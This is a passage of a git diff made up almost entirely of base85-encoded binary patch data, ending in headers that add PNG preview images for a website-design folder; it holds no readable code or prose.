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 literal 0 HcmV?d00001 diff --git a/website-design/previews/exp-scale-1.png b/website-design/previews/exp-scale-1.png new file mode 100644 index 0000000000000000000000000000000000000000..e9be7bed11fd0595b7cd3ef0ef410dd32c208498 GIT binary patch literal 34920 zcmeFZWmJ^!+ct_Vtw=~KDIg#r9g4!xNXHP;-QE5~Kt#Zydz2c9p@$BYkVd+jp}QFd z*cbl(&szIk>sjyq@UCZn*_#i{aL;hx*L_{*b;fZV=NR!I8mmuR0u@dpL5hUut-zZcN>JODabdG8akx_~(>=Ny}7P%aj4Rr;dlS z=YM_@n3@f?w)qdbSspVny?8sb>{6Yao=iumJ%cqE%AxCVjHU1H>d?9d&i#(QL+9!h z=S$?(?-#E`uC9nfwtDyKMI(#x>g5gW-w&n#?;pPCGCSxN3GLSSdz!>2D=F?o)TqDT z=aG5C{~@(#8uvechN$w>JUSi{{pNA=>U8Y=_pe^Q2f*AGx3`P1SZu(bGAB<@ZE)}% z{Zo<1-0*RtK$x4`%AdKF9WSM$+$O#kF$0!rr$xy}mp_8aDtVAtCV? zlPc`%0ghl=y!R>mPIg{;h}vTgxMc>~)pNLvO6JGPEYFVVojjaXuWsbo>)$>EsuOeE zrR+gTNlBzH6DU^zTE}Z5JFmpGyM{mAtbbN58Y{LVz;q)U_7|OBaKI4SZ0wO78W)v{6tnb@Inf6 zu*$@gn4DZwTP^N)@@I7Py+<7vY@B(uMfD_gWhW)_4a3f1{u_P99uTv?k><~8pi*|1%<`m?zDJW8(%~tBwt26Ua+9n-k+!do z6mf4dE5vs!433v0)= zsW+4-BhzOnd!2?7lJ_T2epNOJ@3k)maxAIX7AG5rD@%Z-4a~lo# zbKkQk_5vKg5AWZ4CZ3>(u$>}!}}gq-I$W-1}Sf^Jgd>NPYpxWrHkIy^O~z*auh zZT$@U)Hhn?yij0R<}s8<7L6+Rm+(EpZcbEsZcoM?y}K6V=jWHBn8fefGl>&;8E}r# 